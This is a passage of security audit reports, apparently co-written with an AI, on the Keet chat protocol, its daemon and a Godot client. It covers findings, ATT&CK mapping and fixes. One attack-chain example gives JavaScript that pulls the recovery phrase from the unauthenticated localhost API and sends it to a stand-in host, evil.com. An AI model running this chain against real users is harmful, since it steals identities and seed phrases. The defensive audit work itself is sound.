887is shared via an insecure channel (email, HTTP website, etc.), it can be intercepted and
888reused by a third party.
889
890### Impact
891
892Invite links shared over insecure channels can be used by anyone who intercepts them.
893This is a known limitation of link-based invitations and is mitigated by the
894`requiresConfirmation` flag (which requires the room admin to manually approve joins).
895
896### Remediation
897
898Document the security model clearly: invite links must only be shared over encrypted
899channels. Consider adding single-use invitations that are consumed after the first join.
900The `requiresConfirmation` mechanism should be the default for sensitive rooms.
901
902---
903
904## Finding 15: handleAddMemberLabel Does Not Rate-Limit Labels Per Target
905
906**Severity**: LOW
907**MITRE ATT&CK**: T1499.003 (Application Exhaustion Flood)
908**CWE**: CWE-770 (Allocation of Resources Without Limits or Throttling)
909
910### Description
911
912The `handleAddMemberLabel` handler (labels for members, not chat) allows any active
913member to add labels to any other member. The only dedup is on the exact
914`(targetKey, sender, label)` triple. Like reactions, the `label` field is a uint
915with no range validation.
916
917### Proof
918
919File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/members/labels.js`
920Lines 8-18:
921```javascript
922async function handleAddMemberLabel({header, key, label}, {db, writer}) {
923 const [writerMember, targetMember, thread] = await Promise.all([
924 getMemberForDeviceKey(db, writer.key),
925 db.get("@keet/members", {key}),
926 db.get("@keet/threads", {id: 0})
927 ]);
928 if (!isMemberActive(writerMember) || !targetMember ||
929 b4a.equals(writerMember.key, targetMember.key))
930 throw KeetContractError.ABORT();
931 // Only exact triple dedup, no per-target limit
932 const existing = await db.get("@keet/member-labels", {...});
933 if (existing) throw KeetContractError.ABORT();
934 // ... insert ...
935}
936```
937
938### Impact
939
940A member can add millions of unique label values to another member, bloating the
941`@keet/member-labels` collection and the `@keet/member-label-digests` aggregate.
942The `memberLabelStats` function updates digests on each insert, creating O(n) work.
943
944### Remediation
945
946Add per-target label limits (e.g., max 100 labels per target member).
947
948---
949
950## Finding 16: Silent Failure Pattern Masks Errors
951
952**Severity**: INFO
953**MITRE ATT&CK**: N/A
954**CWE**: CWE-392 (Missing Report of Error Condition)
955
956### Description
957
958Several handlers use `return` (silent success) instead of `throw KeetContractError`
959for authorization failures:
960
961- `handleUpdateSystemSettings` (internal.js line 68): `if (!isMemberActive(member) || !member.status.isModerator) return;`
962- `handleAddBlindPeer` (internal.js line 79): `if (!isMemberActive(member) || !member.status.isModerator) return;`
963- `handleRemoveBlindPeer` (internal.js line 86): same pattern
964- `handleAbiMigration` (internal.js line 93): same pattern
965- `handleUpdateRoomConfig` (config.js line 20): same pattern
966
967In contrast, other handlers throw explicit errors:
968- `handleChangeMemberRole` (members/index.js line 331): `throw KeetContractError.MODERATORS_ONLY()`
969- `handleAddChatMessage` (chat.js line 39): `throw KeetContractError.INACTIVE_MEMBER()`
970
971### Impact
972
973The silent return pattern has two implications:
9741. **Positive**: Prevents the error from potentially becoming a fatal non-KeetContractError
975 that could crash the apply loop (Finding 1).
9762. **Negative**: Makes it harder to detect unauthorized operation attempts. A monitoring
977 system looking for `KeetContractError` events would miss these silent rejections.
978
979The inconsistency between handlers (some throw, some return) suggests different authors
980or different development phases. The "return" pattern is actually safer from a DoS
981perspective (Finding 1), but less informative for audit logging.
982
983### Remediation
984
985Standardize on one pattern. The silent return is safer but should log the rejection.
986Consider wrapping all handlers with a standard authorization decorator.
987
988---
989
990## Finding 17: handleRemoveContact Missing Error Throw
991
992**Severity**: INFO (potential bug)
993**MITRE ATT&CK**: N/A
994**CWE**: CWE-252 (Unchecked Return Value)
995
996### Description
997
998In `handleRemoveContact` at `identity/private.js` line 186, the error handling
999references `KeetContractError.ABORT` without calling it (missing parentheses):
1000
1001```javascript
1002if (!isMemberActive(member) || !contact) throw KeetContractError.ABORT; // Missing ()
1003```
1004
1005This throws the function REFERENCE, not a KeetContractError instance. The thrown value
1006would be a Function object, which is NOT a `KeetContractError`. Therefore,
1007`KeetContractError.isContractError(err)` returns `false`, and the main apply loop
1008treats it as a FATAL error (Finding 1), potentially crashing the peer.
1009
1010### Proof
1011
1012File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/contract/identity/private.js`
1013Line 186:
1014```javascript
1015if (!isMemberActive(member) || !contact) throw KeetContractError.ABORT;
1016// Compare to correct pattern (with parentheses):
1017if (!isMemberActive(member)) throw KeetContractError.ABORT();
1018```
1019
1020### Impact
1021
1022If a member tries to remove a contact that doesn't exist, the thrown Function object
1023would be treated as a non-contract error, potentially crashing the Autobase. However,
1024this is in the `@keet-private-id` namespace which runs on the PRIVATE profile Autobase,
1025not the shared room Autobase -- so it only affects the local peer, not other room members.
1026
1027**CAVEAT**: This may be a deobfuscation artifact. The original source may have correct
1028parentheses that the deobfuscator stripped.
1029
1030### Remediation
1031
1032Add parentheses: `throw KeetContractError.ABORT()`.
1033
1034---
1035
1036## Finding 18: Firewall Race Condition in RoomFirewall.allow()
1037
1038**Severity**: INFO
1039**MITRE ATT&CK**: T1557 (Adversary-in-the-Middle)
1040**CWE**: CWE-362 (Race Condition)
1041
1042### Description
1043
1044The `RoomFirewall.allow()` method first checks the device registry, then falls back to
1045checking active Hypercore peers. The peer check iterates `this.core.peers` which is a
1046live array that can change between iterations.
1047
1048### Proof
1049
1050File: `/storage/projects/code/hypercore-kb/hyper-fleeky/keet-cli/deobfuscated/lib/swarm/firewall.js`
1051Lines 17-25:
1052```javascript
1053async allow(swarmKey) {
1054 await this.ready();
1055 const room = this.keet.internalOpenExistingRoom(this.key);
1056 try {
1057 await room.ready();
1058 const device = await room.db.get("@keet/devices-by-swarm-key", {profile: {swarmKey}});
1059 if (device) return device.status.isActive;
1060 // Fallback: check if they're already connected as a peer
1061 for (const peer of this.core.peers) {
1062 if (b4a.equals(peer.remotePublicKey, swarmKey)) return true;
1063 }
1064 return false;
1065 } finally { ... }
1066}
1067```
1068
1069The fallback peer check allows any currently-connected peer to pass the firewall,
1070even if they're not a registered device. This is likely intentional (for bootstrapping
1071connections before the device is registered), but creates a window where an unauthorized
1072peer could be allowed if they connect at the right time.
1073
1074### Impact
1075
1076Minimal -- the firewall is a connection-level check, not a data-level check. Even if
1077an unauthorized peer passes the firewall, they still can't write operations without
1078being an Autobase writer (which requires a valid invitation flow).
1079
1080### Remediation
1081
1082Document the race condition. Consider removing the peer fallback or adding a timestamp
1083check to ensure the peer connected recently.
1084
1085---
1086
1087## Attack Vector Analysis Summary
1088
1089### 1. Input Validation Bypass -- PARTIALLY VULNERABLE
1090
1091| Check | Result |
1092|-------|--------|
1093| Null checks on required fields | PRESENT in all handlers |
1094| Member active/muted checks | PRESENT in all handlers |
1095| String length limits | **MISSING** -- no maxLength on text, title, description |
1096| Array size limits | **MISSING** -- no maxItems on files, mentions, reactions |
1097| Integer range validation | PARTIAL -- enum keys checked, but reaction/label values unbounded |
1098| File size limits | PRESENT -- `MAX_INLINED_FILE_SIZE` enforced in avatars.js |
1099
1100### 2. Privilege Escalation -- NOT VULNERABLE
1101
1102| Attack | Result |
1103|--------|--------|
1104| Regular member -> admin | BLOCKED by `handleChangeMemberRole` admin check |
1105| Regular member -> moderator | BLOCKED by moderator check |
1106| Muted moderator self-unmute | **POSSIBLE** (Finding 4) -- design weakness |
1107| Removed member re-join via old invitation | **POSSIBLE** (Finding 12) |
1108| Genesis path exploitation | NOT POSSIBLE -- `genesis` flag is set by Autobase, not by the writer |
1109
1110### 3. Denial of Service -- VULNERABLE
1111
1112| Attack | Result |
1113|--------|--------|
1114| Operation flooding | **NO RATE LIMITING** (Finding 2) |
1115| Oversized messages | **NO SIZE LIMITS** (Finding 3) |
1116| Reaction/label flooding | **NO PER-TARGET LIMITS** (Finding 7) |
1117| Crash via non-KeetContractError | **POSSIBLE** (Finding 1) |
1118| Resource exhaustion via map functions | POSSIBLE via mention/file arrays |
1119
1120### 4. Data Integrity -- PARTIALLY VULNERABLE
1121
1122| Attack | Result |
1123|--------|--------|
1124| Modify other members' data | BLOCKED by SELF_ONLY / authorization checks |
1125| Timestamp spoofing | **POSSIBLE** (Finding 6) |
1126| Room type manipulation by moderator | **POSSIBLE** (Finding 5) |
1127| Orphaned state from self-removal | HANDLED -- member state properly cleaned up |
1128| Migration exploitation | BLOCKED -- migrations require moderator role |
1129
1130### 5. Invitation/Crypto Weaknesses -- LOW RISK
1131
1132| Attack | Result |
1133|--------|--------|
1134| Invitation forgery | BLOCKED by Ed25519 signature verification |
1135| Invitation replay | **POSSIBLE if not revoked** (Finding 9, 12) |
1136| Invitation ID prediction | NOT POSSIBLE -- IDs are Ed25519 public keys from random seeds |
1137| Join request replay | BLOCKED by `@keet/join-requests` dedup check |
1138| Contact request decryption | BLOCKED by DeterministicSealedBox encryption |
1139
1140### 6. Information Disclosure -- LOW RISK
1141
1142| Attack | Result |
1143|--------|--------|
1144| `@keet-private-id/` collection isolation | ENFORCED -- separate Autobase (private profile) |
1145| Device key -> member identity correlation | POSSIBLE via `@keet/devices` collection (by design) |
1146| Push notification content exposure | **YES** (Finding 10) |
1147| Cross-room identity linkability | Possible if same member key used across rooms |
1148
1149---
1150
1151## Recommendations Priority Matrix
1152
1153| Priority | Finding | Effort | Impact |
1154|----------|---------|--------|--------|
1155| P0 | F1: Wrap apply dispatch in broader try/catch | Low | Prevents peer crash DoS |
1156| P0 | F2: Add per-writer operation rate limiting | Medium | Prevents flooding DoS |
1157| P1 | F3: Add string/array size limits in schema | Medium | Prevents storage exhaustion |
1158| P1 | F7: Add per-message reaction/label limits | Low | Prevents index bloat |
1159| P2 | F4: Prevent moderator self-unmute | Low | Closes privilege gap |
1160| P2 | F9: Check invitation expiration in handler | Low | Enforces time-limited invites |
1161| P2 | F12: Revoke invitations on member removal | Medium | Prevents banned user re-entry |
1162| P3 | F5: Validate settings enum values | Low | Prevents room type confusion |
1163| P3 | F6: Validate timestamp ranges | Low | Improves data integrity |
1164| P3 | F10: Remove message content from push payloads | Medium | Improves privacy |
1165| P3 | F13: Remove test handler from production | Low | Reduces attack surface |
1166
1167---
1168
1169## Methodology Notes
1170
1171This audit was performed through static analysis of deobfuscated JavaScript source code.
1172The deobfuscation was performed using a custom VM-sandbox tool that resolves obfuscated
1173string references and hex constants. Some numeric constants (particularly negative hex
1174values produced by `--0xNNN` patterns) may not be accurately resolved, as noted in
1175Finding 8. All findings should be verified against the live runtime before implementing
1176fixes.
1177
1178The audit focused on the contract layer (`lib/contract/`) and invitation system
1179(`lib/invitations/`). The Autobase layer was reviewed as open source. The Hyperswarm
1180and Hypercore replication layers were out of scope.
1181
1182MITRE ATT&CK technique IDs reference the Enterprise framework v14.
SECURITY_AUDIT_V2.md +630 -0
……@@ -0,0 +1,630 @@
1# Comprehensive Security Audit: Keet Ecosystem
2
3**Date**: 2026-02-17
4**Auditors**: fleeky + Claude Opus 4.6 (authorized defensive security review)
5**Framework**: MITRE ATT&CK Enterprise v14 + Red Team Tactics
6**Methodology**: Static analysis of deobfuscated source, code review, attack chain modeling
7
8---
9
10## Scope
11
12Three components audited as a unified attack surface:
13
14| Component | Description | Lines Audited |
15|-----------|-------------|---------------|
16| **keet-core-hyperdb v1.22.0** | Protocol layer (161 deobfuscated files, 39,766 strings resolved) | ~15,000 |
17| **keet-daemon (keet-cli)** | Headless daemon + CLI client | ~2,500 |
18| **godot-keet** | Pear terminal app + Godot 4.6 game client | ~3,500 |
19
20**Out of scope**: Hyperswarm transport, Hypercore replication, UDX/QUIC layer, mobile Keet app.
21
22---
23
24## Executive Summary
25
26The Keet protocol's **server-side permission model is well-designed and consistently enforced**. Every contract handler checks writer identity and role before mutating state. Privilege escalation via protocol operations is not possible for regular members.
27
28However, the **client-side infrastructure has critical vulnerabilities** that allow complete identity theft from any website the user visits. The daemon exposes the full Keet identity (including BIP39 recovery phrase) over unauthenticated HTTP with wildcard CORS. This is the most dangerous finding.
29
30At the protocol level, the main risks are **denial of service** (no rate limiting, unbounded fields) and **peer crash** (non-KeetContractError exceptions terminate the Autobase).
31
32### Finding Summary
33
34| Severity | Protocol | Daemon | Godot-Keet | Total |
35|----------|----------|--------|------------|-------|
36| CRITICAL | 1 | 3 | 4 | **8** |
37| HIGH | 3 | 3 | 5 | **11** |
38| MEDIUM | 6 | 3 | 4 | **13** |
39| LOW | 3 | 1 | 4 | **8** |
40| INFO | 3 | 1 | 0 | **4** |
41| **Total** | **16** | **11** | **17** | **44** |
42
43### Overall Risk Rating
44
45| Category | Rating | Justification |
46|----------|--------|---------------|
47| Identity Theft (remote) | **CRITICAL** | Browser-based attack via CORS + no auth |
48| Identity Theft (local) | **CRITICAL** | Any local process, no auth required |
49| Protocol Privilege Escalation | **VERY LOW** | All handlers verify writer authority |
50| Protocol DoS | **HIGH** | No rate limiting, unbounded fields |
51| Peer Crash (consensus break) | **HIGH** | Non-KeetContractError propagation |
52| Data Integrity | **MEDIUM** | Timestamp spoofing, display field injection |
53| Invitation Security | **MEDIUM** | Expiration not enforced, removed-member invites persist |
54
55---
56
57## Most Dangerous Attack Chain (CRITICAL)
58
59**Remote identity theft via any website** -- exploitable from the public internet:
60
61```
621. Victim runs keet-daemon or godot-keet (daemon on port 3117)
632. Victim opens ANY website in a browser
643. Malicious JavaScript on the page executes:
65 fetch('http://localhost:3117/rpc', {
66 method: 'POST',
67 headers: { 'Content-Type': 'application/json' },
68 body: '{"method":"identity.recovery"}'
69 })
70 .then(r => r.json())
71 .then(data => fetch('https://evil.com/steal', {
72 method: 'POST',
73 body: JSON.stringify(data)
74 }))
754. CORS wildcard (*) allows the cross-origin request
765. No authentication blocks it
776. Response contains BIP39 recovery phrase in plaintext
787. Attacker permanently owns the victim's Keet identity
79```
80
81**Findings exploited**: D-F1 (no auth) + D-F2 (CORS *) + D-F4 (recovery phrase exposed)
82
83This chain works against both keet-daemon and godot-keet. For godot-keet, the HTTP server also binds 0.0.0.0, making it exploitable from the LAN without browser involvement.
84
85---
86
87## All Findings by Severity
88
89### CRITICAL (8 findings)
90
91#### P-F1: Non-KeetContractError Exceptions Crash All Peers
92- **Component**: keet-core-hyperdb protocol
93- **ATT&CK**: T1499.004 (Application Exploitation DoS)
94- **File**: `deobfuscated/index.js:1079-1092`
95- **Description**: The apply loop only catches `KeetContractError`. Any other exception (TypeError, RangeError) propagates to Autobase `_onError`, closing the Autobase and crashing the process if no error listener exists. A single crafted operation can crash every peer in a room.
96- **Remediation**: Wrap dispatch in broader try/catch that treats ALL exceptions as non-fatal for consensus.
97
98#### D-F1: No Authentication on HTTP API
99- **Component**: keet-daemon
100- **ATT&CK**: T1078 / T1190
101- **File**: `lib/http-transport.js:25-113`
102- **Description**: Zero authentication on port 3117. No API key, bearer token, or session cookie. Any local process or website can make arbitrary API calls.
103- **Remediation**: Generate random token at startup, write to user-readable file, require as Bearer token.
104
105#### D-F2: Unrestricted CORS Enables Browser-Based Identity Theft
106- **Component**: keet-daemon
107- **ATT&CK**: T1189 (Drive-by Compromise)
108- **File**: `lib/http-transport.js:26-28`
109- **Description**: `Access-Control-Allow-Origin: *` permits any website to make cross-origin requests. Combined with no auth, enables remote identity theft.
110- **Remediation**: Remove wildcard CORS. If needed, restrict to specific localhost origin.
111
112#### D-F3: Arbitrary Function Execution via `raw`/`call.raw`
113- **Component**: keet-daemon
114- **ATT&CK**: T1059
115- **File**: `lib/router.js:529-546`
116- **Description**: `raw` and `call.raw` methods invoke any function on `backend.api.core` or `backend.api.call` by name with arbitrary arguments. Bypasses all route-level validation. Exposes 353+ internal methods.
117- **Remediation**: Remove entirely, or gate behind `--debug` flag with allowlist.
118
119#### G-F1: Open SSRF via Image Proxy
120- **Component**: godot-keet
121- **ATT&CK**: T1090 / T1046
122- **File**: `daemon/lib/http-transport.js:113-121, 245-297`
123- **Description**: `GET /rpc/proxy?url=<arbitrary>` fetches any URL with no validation. Enables internal network scanning, metadata service access, data exfiltration. A malicious peer can trigger this by sending a crafted file `httpLink`.
124- **Remediation**: Restrict proxy to `127.0.0.1` on keet-core's dynamic port only.
125
126#### G-F2: HTTP Server Binds All Interfaces (0.0.0.0)
127- **Component**: godot-keet
128- **ATT&CK**: T1021 / T1133
129- **File**: `daemon/lib/http-transport.js:14`
130- **Description**: `listen(port)` with no host binds to all interfaces. The entire RPC API (identity, vault, SSRF proxy) is network-accessible.
131- **Remediation**: `this.server.listen(this.port, '127.0.0.1', ...)`
132
133#### G-F3: Arbitrary Function Execution via `raw`/`call.raw`
134- **Component**: godot-keet
135- **ATT&CK**: T1059
136- **File**: `daemon/lib/router.js:711-728`
137- **Description**: Same as D-F3 but on godot-keet's daemon fork. Network-reachable due to G-F2.
138- **Remediation**: Same as D-F3.
139
140#### G-F4: UDS Socket World-Accessible in /tmp
141- **Component**: godot-keet
142- **ATT&CK**: T1021 / T1557
143- **File**: `daemon/lib/uds-transport.js:17-28`, `index.js:16`
144- **Description**: `/tmp/keet-daemon.sock` with no permissions set. Any local user can connect. Symlink pre-creation enables MITM.
145- **Remediation**: Move to `$XDG_RUNTIME_DIR/keet-daemon.sock`, chmod 0700.
146
147### HIGH (11 findings)
148
149#### P-F2: No Rate Limiting on Any Operation
150- **Component**: keet-core-hyperdb protocol
151- **ATT&CK**: T1498 / T1499
152- **File**: `deobfuscated/index.js:1079-1086`
153- **Description**: Zero per-writer throttling at any layer. A writer can flood 10,000+ ops/sec. Even rejected ops cost 100-400us of DB reads per operation. All peers saturated.
154- **Remediation**: Per-writer operation counters in apply function, max-ops-per-batch limit.
155
156#### P-F3: Unbounded String/Array Fields in Chat Messages
157- **Component**: keet-core-hyperdb protocol
158- **ATT&CK**: T1499.003
159- **File**: `deobfuscated/contract/chat.js:33-54`, schema `oplog-message`
160- **Description**: `text: string` has no maxLength, `files: array` has no maxItems, `display.mention: array` unbounded. A 100MB text field or 50K-mention array forces full allocation on every peer.
161- **Remediation**: Add `maxLength`/`maxItems` constraints to hyperschema fields.
162
163#### P-F7: Reaction and Label Flooding
164- **Component**: keet-core-hyperdb protocol
165- **ATT&CK**: T1499.003
166- **File**: `deobfuscated/contract/reactions.js:11-21`
167- **Description**: Reactions dedup on `(messageId, sender, reaction)` but `reaction` is unbounded uint. An attacker can create 1M unique reaction records per message.
168- **Remediation**: Per-message reaction limits (max 50 total), validate reaction in emoji enum range.
169
170#### D-F4: Recovery Phrase Exposed Without Auth
171- **Component**: keet-daemon
172- **ATT&CK**: T1552.001
173- **File**: `lib/router.js:137-140`
174- **Description**: `identity.recovery` returns BIP39 mnemonic in plaintext. Equivalent to stealing a crypto wallet seed phrase.
175- **Remediation**: Remove from API, or gate behind interactive confirmation + auth.
176
177#### D-F5: HTTP Binds via DNS-Dependent `localhost`
178- **Component**: keet-daemon
179- **ATT&CK**: T1021
180- **File**: `lib/http-transport.js:14`
181- **Description**: Relies on `localhost` DNS resolution for loopback binding. Misconfigured `/etc/hosts` exposes to network.
182- **Remediation**: Explicitly bind `'127.0.0.1'`.
183
184#### D-F6: UDS Socket World-Accessible in /tmp
185- **Component**: keet-daemon
186- **ATT&CK**: T1021
187- **File**: `lib/uds-transport.js:14-32`
188- **Description**: `/tmp/keet-daemon.sock` with no permissions. Any user on multi-user system has full access.
189- **Remediation**: chmod 0600 after creation, move to user directory.
190
191#### G-F5: No Binary Integrity Verification
192- **Component**: godot-keet
193- **ATT&CK**: T1204 / T1195.002
194- **File**: `index.js:89-146`
195- **Description**: Godot binary extracted from Pear bundle and executed without hash verification. Only version string comparison.
196- **Remediation**: Embed SHA-256 hash manifest, verify before execution.
197
198#### G-F6: No Request Body Size Limit
199- **Component**: godot-keet
200- **ATT&CK**: T1499
201- **File**: `daemon/lib/http-transport.js:383-390`
202- **Description**: `readBody()` concatenates unlimited data. Network-reachable (G-F2). OOM crash trivial.
203- **Remediation**: Reject bodies over 1MB.
204
205#### G-F7: No Authentication on RPC
206- **Component**: godot-keet
207- **ATT&CK**: T1078 / T1098
208- **File**: `daemon/lib/http-transport.js:25-36`
209- **Description**: Same as D-F1 but network-reachable due to G-F2.
210- **Remediation**: Same as D-F1.
211
212#### G-F8: Wildcard CORS
213- **Component**: godot-keet
214- **ATT&CK**: T1189
215- **File**: `daemon/lib/http-transport.js:26-28`
216- **Description**: Same as D-F2. `Access-Control-Allow-Origin: *`.
217- **Remediation**: Remove wildcard CORS headers.
218
219#### G-F9: Full SSRF Response Disclosure
220- **Component**: godot-keet
221- **ATT&CK**: T1046
222- **File**: `daemon/lib/http-transport.js:271-297`
223- **Description**: Proxy returns full response including status, headers, body. Error messages reveal internal network topology (`ECONNREFUSED`, `ETIMEDOUT`).
224- **Remediation**: Sanitize errors, restrict proxy targets (see G-F1).
225
226### MEDIUM (13 findings)
227
228#### P-F4: Moderator Self-Unmute
229- **Component**: keet-core-hyperdb protocol
230- **ATT&CK**: T1548
231- **File**: `deobfuscated/contract/members/index.js:309-322`
232- **Description**: Muted moderator can unmute themselves (muting doesn't revoke mod status). Admin must demote to prevent.
233- **Remediation**: Require admin privileges for self-targeted restriction removal.
234
235#### P-F5: Settings Key Injection (roomType)
236- **Component**: keet-core-hyperdb protocol
237- **ATT&CK**: T1565
238- **File**: `deobfuscated/contract/internal.js:62-74`
239- **Description**: Moderator can change roomType (Broadcast vs DirectMessage), cascading permission changes across handlers.
240- **Remediation**: Validate enum values, require admin for roomType change.
241
242#### P-F6: Timestamp Spoofing
243- **Component**: keet-core-hyperdb protocol
244- **ATT&CK**: T1565.001
245- **File**: `deobfuscated/contract/chat.js:50`
246- **Description**: `header.timestamp` is client-provided with no validation. Messages can appear at arbitrary positions in history.
247- **Remediation**: Validate timestamp within reasonable range of processing time.
248
249#### P-F8: Blind Peers Slice Constant Issue
250- **Component**: keet-core-hyperdb protocol
251- **ATT&CK**: T1565
252- **File**: `deobfuscated/contract/config.js:11, 35`
253- **Description**: Deobfuscated constants appear negative, making blind peer updates produce empty arrays. Likely deobfuscation artifact.
254- **Remediation**: Verify runtime values.
255
256#### P-F9: Invitation Expiration Not Checked
257- **Component**: keet-core-hyperdb protocol
258- **ATT&CK**: T1078
259- **File**: `deobfuscated/contract/members/index.js:164-183`
260- **Description**: `addDeviceWithInvitation` doesn't check `invitation.metadata.expiration`. Expired invites remain usable.
261- **Remediation**: Add expiration check against `header.timestamp`.
262
263#### P-F11: Message Display Field Injection
264- **Component**: keet-core-hyperdb protocol
265- **ATT&CK**: T1565.001
266- **File**: `deobfuscated/contract/chat.js:55-77`
267- **Description**: Edit replaces `display` field wholesale. Can change mention targets, add fake links after others have seen the message.
268- **Remediation**: Validate mention targets correspond to actual members.
269
270#### P-F12: Removed Member Invitations Persist
271- **Component**: keet-core-hyperdb protocol
272- **ATT&CK**: T1078.004
273- **File**: `deobfuscated/contract/members/index.js:342-379`
274- **Description**: Removing a member doesn't revoke their created invitations. Banned user's invite links remain valid.
275- **Remediation**: Track invitation creator, revoke on member removal.
276
277#### D-F7: Unauthenticated Remote Shutdown
278- **Component**: keet-daemon
279- **ATT&CK**: T1489
280- **File**: `lib/router.js:566-572`
281- **Description**: `shutdown` method terminates daemon without auth.
282- **Remediation**: Gate behind authentication.
283
284#### D-F8: No Request Body Size Limit
285- **Component**: keet-daemon
286- **ATT&CK**: T1499
287- **File**: `lib/http-transport.js:253-260`
288- **Description**: `readBody()` unbounded. OOM vector.
289- **Remediation**: Reject bodies over 1MB.
290
291#### D-F9: Introspect Leaks Internal API Surface
292- **Component**: keet-daemon
293- **ATT&CK**: T1082
294- **File**: `lib/router.js:576-594`
295- **Description**: `introspect` enumerates all 353+ internal method names. Combined with `raw`, provides full recon-to-exploitation chain.
296- **Remediation**: Gate behind `--debug` flag.
297
298#### G-F10: Video Download to Predictable /tmp Path
299- **Component**: godot-keet
300- **ATT&CK**: T1574
301- **File**: `scripts/media_viewer.gd:331-336`
302- **Description**: Peer-controlled filename → `/tmp/keet-video-<name>`. Symlink attack possible.
303- **Remediation**: Use random filename or private temp directory.
304
305#### G-F11: No Rate Limiting on Incoming Messages
306- **Component**: godot-keet
307- **ATT&CK**: T1499
308- **File**: `scripts/chat_panel.gd:63-66`
309- **Description**: Unbounded message append to RichTextLabel. `_known_ids` dict grows without limit.
310- **Remediation**: Cap displayed messages (500), rate-limit processing (10/sec).
311
312#### G-F13: Incomplete BBCode Sanitization
313- **Component**: godot-keet
314- **ATT&CK**: T1059 (adapted)
315- **File**: `scripts/chat_panel.gd:135, 298-299`
316- **Description**: `_bb_escape()` only handles `[`. System events, file IDs not escaped. `]` not escaped (tag breakout).
317- **Remediation**: Escape all peer data, add `]` escaping.
318
319### LOW (8 findings)
320
321| ID | Component | Finding | ATT&CK |
322|----|-----------|---------|--------|
323| P-F10 | Protocol | Push notifications leak message content to Apple/Google | T1530 |
324| P-F14 | Protocol | Invitation seed security depends on link secrecy | T1552 |
325| P-F15 | Protocol | Member label flooding (unbounded per-target) | T1499.003 |
326| D-F10 | Daemon | No input validation on route parameters | T1190 |
327| G-F12 | Godot | PID file in world-writable /tmp | T1036 |
328| G-F14 | Godot | CI copies deps from fixed path, no integrity check | T1195 |
329| G-F15 | Godot | Godot process inherits unsanitized environment | T1055 |
330| G-F16 | Godot | Recovery phrase accessible via multiple unauthenticated endpoints | T1552 |
331
332### INFO (4 findings)
333
334| ID | Component | Finding |
335|----|-----------|---------|
336| P-F13 | Protocol | Test handler (`@keet/test-increment`) present in production |
337| P-F16 | Protocol | Silent failure pattern masks authorization rejections |
338| P-F17 | Protocol | `handleRemoveContact` throws function reference instead of error instance |
339| P-F18 | Protocol | Firewall race condition in `RoomFirewall.allow()` |
340| D-F11 | Daemon | PID file in world-writable /tmp |
341
342---
343
344## Attack Vector Analysis
345
346### 1. Remote Identity Theft (Browser-Based)
347
348**Status**: FULLY EXPLOITABLE
349**Components**: D-F1 + D-F2 + D-F4 (daemon), G-F2 + G-F7 + G-F8 (godot-keet)
350
351Any website can steal the BIP39 recovery phrase via `fetch()` to localhost:3117. The CORS wildcard allows cross-origin requests, and no authentication blocks them. For godot-keet, the HTTP server binds 0.0.0.0, making this exploitable from the LAN without browser involvement.
352
353### 2. Local Identity Theft
354
355**Status**: FULLY EXPLOITABLE
356**Components**: D-F1 + D-F6 (daemon), G-F4 + G-F7 (godot-keet)
357
358Any local process can connect to the UDS socket (world-accessible in /tmp) or HTTP API and extract the recovery phrase, send messages, or shut down the daemon.
359
360### 3. SSRF / Internal Network Scanning
361
362**Status**: FULLY EXPLOITABLE (godot-keet only)
363**Components**: G-F1 + G-F2 + G-F9
364
365The proxy endpoint accepts arbitrary URLs with full response disclosure. Network-reachable due to 0.0.0.0 binding. A malicious Keet peer can trigger this by sending crafted file httpLinks.
366
367### 4. Protocol DoS (Room-Wide)
368
369**Status**: EXPLOITABLE
370**Components**: P-F1 + P-F2 + P-F3 + P-F7
371
372A room member can crash all peers (P-F1), flood with operations (P-F2), send oversized messages (P-F3), or create millions of reaction records (P-F7). No rate limiting exists at any layer. The only mitigation is moderator-initiated member removal, which may be impossible during an active flood.
373
374### 5. Protocol Privilege Escalation
375
376**Status**: NOT EXPLOITABLE
377**Evidence**: All 55+ contract handlers verify `getMemberForDeviceKey(db, writer.key)` → role check.
378
379Regular members cannot promote themselves. The genesis flag is Autobase-controlled (not writer-controlled). Admin/moderator checks are consistent across all security-critical handlers.
380
381### 6. Supply Chain / Binary Integrity
382
383**Status**: PARTIALLY EXPLOITABLE (godot-keet)
384**Components**: G-F5 + G-F14
385
386Godot binary extracted without hash verification. CI copies node_modules from a fixed absolute path. Compromising either the Pear deployment pipeline or the build server path enables malicious code injection.
387
388---
389
390## MITRE ATT&CK Mapping
391
392### Reconnaissance (TA0043)
393- D-F9: Introspect endpoint enumerates full API surface (T1082)
394- G-F9: SSRF error messages reveal network topology (T1046)
395
396### Initial Access (TA0001)
397- D-F2/G-F8: Drive-by compromise via CORS wildcard (T1189)
398- D-F1/G-F7: Exploit public-facing application — no auth (T1190)
399- G-F2: External remote service exposed on 0.0.0.0 (T1133)
400
401### Execution (TA0002)
402- D-F3/G-F3: Arbitrary function execution via `raw` passthrough (T1059)
403- P-F13: Test handler provides unauthorized write path (T1059)
404
405### Credential Access (TA0006)
406- D-F4/G-F16: Recovery phrase exposed without auth (T1552.001)
407- P-F14: Invitation seeds deterministically derive signing keys (T1552)
408
409### Lateral Movement (TA0008)
410- G-F1: SSRF enables internal network access (T1090)
411
412### Impact (TA0040)
413- P-F1: Peer crash via non-KeetContractError (T1499.004)
414- P-F2: Operation flooding DoS (T1498/T1499)
415- P-F3: Oversized message storage exhaustion (T1499.003)
416- D-F7: Service stop via unauthenticated shutdown (T1489)
417
418### Privilege Escalation (TA0004)
419- P-F4: Moderator self-unmute bypass (T1548)
420
421### Data Manipulation (TA0040)
422- P-F6: Timestamp spoofing (T1565.001)
423- P-F11: Message display field injection (T1565.001)
424- P-F5: Room type manipulation (T1565)
425
426---
427
428## Remediation Plan
429
430### Phase 1: IMMEDIATE (Before Any Network-Connected Use)
431
432These are one-line to one-hour fixes that eliminate the critical attack chains.
433
434| # | Fix | Components | Effort | Blocks |
435|---|-----|------------|--------|--------|
436| 1 | **Bind HTTP to 127.0.0.1** | D-F5, G-F2 | 5 min | Remote identity theft, SSRF from LAN |
437| 2 | **Remove CORS wildcard** | D-F2, G-F8 | 5 min | Browser-based identity theft |
438| 3 | **Remove `raw`/`call.raw`** | D-F3, G-F3 | 5 min | Arbitrary function execution |
439| 4 | **Add auth token to HTTP** | D-F1, G-F7 | 1 hour | All unauthenticated access |
440| 5 | **Set UDS socket to 0600** | D-F6, G-F4 | 5 min | Multi-user local access |
441| 6 | **Restrict proxy to localhost** | G-F1, G-F9 | 15 min | SSRF |
442
443### Phase 2: SHORT-TERM (Within 1 Week)
444
445| # | Fix | Components | Effort |
446|---|-----|------------|--------|
447| 7 | Remove `identity.recovery` from API (or gate behind vault password) | D-F4, G-F16 | 30 min |
